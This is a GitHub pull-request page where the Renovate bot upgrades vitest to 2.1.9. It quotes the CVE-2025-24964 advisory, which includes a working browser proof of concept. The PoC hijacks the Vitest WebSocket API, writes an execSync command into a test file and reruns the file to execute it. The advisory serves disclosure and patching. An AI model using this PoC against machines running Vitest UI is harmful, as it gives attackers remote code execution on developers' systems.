Skip to content

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Feb 6, 2025

This PR contains the following updates:

Package Change Age Confidence
vitest (source) 2.1.1 -> 2.1.9 age confidence

GitHub Vulnerability Alerts

CVE-2025-24964

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC

  1. Open Vitest UI.
  2. Access a malicious web site with the script below.
  3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})

Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.


Release Notes

vitest-dev/vitest (vitest)

v2.1.9

Compare Source

This release includes security patches for:

   🐞 Bug Fixes
    View changes on GitHub

v2.1.8

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v2.1.7

Compare Source

   🐞 Bug Fixes
  • Revert support for Vite 6  -  by @​sheremet-va (fbe5c)
    • This introduced some breaking changes (#​6992). We will enable support for it later. In the meantime, you can still use pnpm.overrides or yarn resolutions to override the vite version in the vitest package - the APIs are compatible.
    View changes on GitHub

v2.1.6

Compare Source

🚀 Features

  • Support Vite 6
    View changes on GitHub

v2.1.5

Compare Source

   🐞 Bug Fixes
   🏎 Performance
    View changes on GitHub

v2.1.4

Compare Source

   🚀 Features

This patch release includes a non-breaking feature for the experimental Browser Mode that doesn't follow SemVer. If you want to avoid picking up releases like this, make sure to pin the Vitest version in your package.json. See npm's documentation about semver for more information.

   🐞 Bug Fixes
   🏎 Performance
    View changes on GitHub

v2.1.3

Compare Source

   🐞 Bug Fixes
   🏎 Performance
    View changes on GitHub

v2.1.2

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@vercel
Copy link

vercel bot commented Feb 6, 2025

The latest updates on your projects. Learn more about Vercel for GitHub.

Project Deployment Preview Updated (UTC)
giderim-pwa Ready Ready Preview Dec 4, 2025 7:27pm

@changeset-bot
Copy link

changeset-bot bot commented Feb 6, 2025

⚠️ No Changeset found

Latest commit: cbc1300

Merging this PR will not cause a version bump for any packages. If these changes should not result in a new version, you're good to go. If these changes should result in a version bump, you need to add a changeset.

This PR includes no changesets

When changesets are added to this PR, you'll see the packages that this PR includes changesets for and the associated semver types

Click here to learn what changesets are, and how to add one.

Click here if you're a maintainer who wants to add a changeset to this PR

@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 7902693 to fba9808 Compare February 9, 2025 12:11
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from fba9808 to 30f1018 Compare March 6, 2025 03:58
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 30f1018 to a649426 Compare March 13, 2025 07:11
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from a649426 to 98cdf0e Compare March 14, 2025 23:28
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 98cdf0e to 719acf9 Compare March 18, 2025 20:13
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 719acf9 to 4e26f39 Compare April 2, 2025 04:03
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 4e26f39 to d9cee5c Compare April 8, 2025 20:11
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from d9cee5c to a178f2d Compare April 27, 2025 03:39
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from a178f2d to 3cc6394 Compare May 24, 2025 07:43
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 3cc6394 to 5376ef3 Compare June 1, 2025 00:00
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 5376ef3 to 000b256 Compare June 4, 2025 04:14
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 000b256 to 845a0d8 Compare June 6, 2025 18:40
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 845a0d8 to 855b3bc Compare June 15, 2025 03:28
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 855b3bc to 18af71e Compare June 28, 2025 08:08
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 18af71e to cb58a0d Compare July 5, 2025 20:14
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from cb58a0d to ce1cfe7 Compare July 13, 2025 04:07
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from ce1cfe7 to 81d99eb Compare August 14, 2025 12:12
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 81d99eb to a7b9b9e Compare August 23, 2025 11:23
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from a7b9b9e to e336d02 Compare September 1, 2025 05:16
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from e336d02 to 04b295d Compare September 26, 2025 19:41
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 04b295d to a3b6c46 Compare October 23, 2025 06:50
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from a3b6c46 to 17b2f6c Compare November 16, 2025 08:14
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 17b2f6c to 0ea36e5 Compare November 19, 2025 16:11
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

Status: Backlog

Development

Successfully merging this pull request may close these issues.

1 participant